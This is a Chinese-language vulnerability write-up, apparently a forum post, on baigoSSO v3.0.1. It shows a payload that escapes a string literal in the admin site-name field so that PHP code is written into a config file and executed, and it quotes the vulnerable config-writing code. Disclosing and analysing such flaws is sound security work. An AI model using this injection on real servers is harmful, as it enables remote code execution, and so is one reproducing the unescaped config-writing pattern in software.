0x00 简述

版本:v3.0.1
下载链接:https://github.com/baigoStudio/baigoSSO
后台修改配置属性,可直接写入配置文件getshell

0x01 演示

1、登录后台,修改系统配置项
系统设置-》基本设置-》站点名称,修改为 aaaaa');phpinfo();/*111111111


2、刷新页面,代码已被执行

0x02 代码分析

代码定位到写入配置文件的函数mdl_const

/** 处理常量并生成配置文件
     * mdl_const function.
     *
     * @access public
     * @param mixed $str_type
     * @return void
     */
    function mdl_const($str_type) {
        if (!fn_token('chk')) { //令牌
            return array(
                'rcode' => 'x030206',
            );
        }

        $_str_content = '<?php' . PHP_EOL;
        foreach ($this->arr_const[$str_type] as $_key=>$_value) {
            if (is_numeric($_value)) {
                $_str_content .= 'define(\'' . $_key . '\', ' . $_value . ');' . PHP_EOL;
            } else {
                $_str_content .= 'define(\'' . $_key . '\', \'' . rtrim(str_ireplace(PHP_EOL, '|', $_value), '/\\') . '\');' . PHP_EOL;
            }
        }

        if ($str_type == 'base') {
            $_str_content .= 'define(\'BG_SITE_SSIN\', \'' . fn_rand(6) . '\');' . PHP_EOL;
            //$_str_content .= 'define(\'BG_SITE_TPL\', \'default\');' . PHP_EOL;
        }

        $_str_content = str_ireplace('||', '', $_str_content);

        $_num_size    = $this->obj_file->file_put(BG_PATH_CONFIG . 'opt_' . $str_type . '.inc.php', $_str_content);

        if ($_num_size > 0) {
            $_str_rcode = 'y030405';
        } else {
            $_str_rcode = 'x030405';
        }

        return array(
            'rcode' => $_str_rcode,
        );
    }

跟进file_put函数,封装file_put_contents直接写入配置文件

function file_put($str_path, $str_content) {
        $this->dir_mk($str_path);
        $_num_size = file_put_contents($str_path, $str_content);
        return $_num_size;
    }

根据传入的$str_path,拼接后的配置文件应该是opt_base.inc.php


只要闭合就可以进行代码注入:

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖